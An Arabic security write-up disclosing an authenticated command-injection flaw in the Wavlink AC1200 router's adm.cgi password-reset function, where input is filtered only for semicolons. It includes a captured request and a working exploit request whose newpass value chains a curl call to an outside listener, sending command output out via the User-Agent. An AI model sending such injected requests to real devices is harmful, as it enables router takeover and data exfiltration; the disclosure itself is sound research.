
أجهزة Wavlink AC1200 بإصدارات البرامج الثابتة M32A3_V1410_230602 وM32A3_V1410_240222 معرضة لثغرة حقن أوامر بعد المصادقة عند إعادة تعيين كلمة المرور. توجد هذه الثغرة تحديدًا داخل دالة "set_sys_adm" في الثنائي "adm.cgi"، وتنتج عن عدم التعقيم السليم لحقل "newpass" الذي يقدمه المستخدم.
خلال بحث أمني حديث لجهاز Wavlink AC1200 (الطراز: WL-WN532A3)، تم تحديد ثغرة حقن أوامر بعد المصادقة في نقطة النهاية "/cgi-bin/adm.cgi". يمكن لهذه الثغرة تمكين المهاجمين الخبيثين الذين تمكنوا من اختراق بيانات اعتماد جهاز التوجيه من تنفيذ أوامر شل عشوائية. يُنتظر حاليًا تعيين رقم CVE لهذه الثغرة.
عند استلام جهاز التوجيه Wavlink AC1200، تم تحديد البرنامج الثابت المُحمَّل على أنه 'M32A3_V1410_230602'. ومع ذلك، لم تكن هذه النسخة المحددة من البرنامج الثابت متاحة عبر الموقع الرسمي لدعم Wavlink. وفرت Wavlink إصدارًا واحدًا فقط من البرنامج الثابت، وهو M32A3_V1410_240222، وهو أحدث بنحو ثمانية أشهر. أثناء التحليل، تقرر البحث في البرنامج الثابت الأحدث المتاح، مع محاولة استغلال أي ثغرات في الإصدار القديم لتأكيد ما إذا كانت أي ثغرات تم تحديدها تؤثر على كلا الإصدارين من البرنامج الثابت. وقد تجنب هذا أيضًا الحاجة إلى استخراج البرنامج الثابت يدويًا من الجهاز. تم استخراج نظام الملفات الجذر ببساطة باستخدام وظيفة الاستخراج في 'binwalk'. البرنامج الثابت M32A3_V1410_240222 متاح للتنزيل من الرابط التالي: https://docs.wavlink.xyz/Firmware/fm-532a3/

تركز البحث الأولي حول تحديد سطح الهجوم لحقن الأوامر. في حين تم استدعاء العديد من الدوال مثل system وpopen ودوال مساعدة مستوردة مختلفة لتشغيل أوامر النظام، كان العديد منها مجرد استدعاءات لسكربتات bash جاهزة لم يكن الحقن فيها ممكنًا. ومع ذلك، فإن استدعاء واحد لـ system في دالة set_sys_adm داخل /etc_ro/lighttpd/www/cgi-bin/adm.cgi أثار الشكوك فورًا للوهلة الأولى بسبب تمرير مصفوفة أحرف تم تنسيقها باستخدام sprintf. وبعد مزيد من الفحص، تبين أن الدالة تحاول تعقيم إدخال كلمة مرور يقدمها المستخدم عن طريق البحث عن الحرف ;. ومع ذلك، يفشل هذا التعقيم في مراعاة تقنيات أخرى لحقن الأوامر.
الصورة أدناه توضح التفكيك (disassembly) لدالة set_sys_adm. تم تغيير بعض أسماء المتغيرات للمساعدة في تحليل هذه الدالة. من الصورة، يمكنك أن ترى أن الدالة تحصل على حقل password من طلب ويب في السطر 40، ثم تتأكد من أنه ليس NULL، ولا يحتوي على فاصلة منقوطة (;)، ولا يساوي نفس قيمة كلمة المرور المخزنة سابقًا في الأسطر 58-60. ثم يتم تمرير هذه القيمة إلى استدعاء sprintf الذي يُنشئ أمرًا على النحو التالي: echo "<username.:<password>" > /etc/lighttpd.user. يتم تمرير هذه السلسلة المنسقة فورًا إلى استدعاء system.

كان هذا اكتشافًا رائعًا، ولكن حان الوقت لمعرفة مكان الوصول إلى هذه الثغرة من البوابة الإلكترونية. تم تحديد بسرعة أن هذه الدالة تُستدعى عند إعادة تعيين كلمة المرور من صفحة "Login Password".

بعد تحديد صفحة الويب هذه، تم التقاط طلب HTTP POST باستخدام Burp Suite. يبدو الطلب على النحو التالي:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=12980
Accept-Encoding: gzip, deflate, br
Cookie: session=420022404
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello&NEWPASS2=hellohello
بعد أن فهمنا الآن ثغرة حقن الأوامر الموجودة، وتحديد مكان الوصول إليها، حان الوقت لمحاولة الاستغلال. تم إرسال الطلب التالي لإجبار جهاز التوجيه على إجراء طلب curl إلى مستمع netcat، مع استخراج البيانات أيضًا عبر حقل User Agent. الأمر الذي تمت محاولة تنفيذه قبل ترميز URL ووضعه في الطلب يبدو كما يلي: curl http://192.168.1.6:4567/ -A $(pwd). الأمر الموضوع في طلب HTTP POST يبدو كما يلي:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=76755
Accept-Encoding: gzip, deflate, br
Cookie: session=1783394974
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello\"+%26%26+curl+http%3a//192.168.1.6%3a4567+-A+$(pwd)&NEWPASS2=hellohello
بعد إرسال الطلب، حصلنا على تأكيد أن الثغرة قابلة للاستغلال.
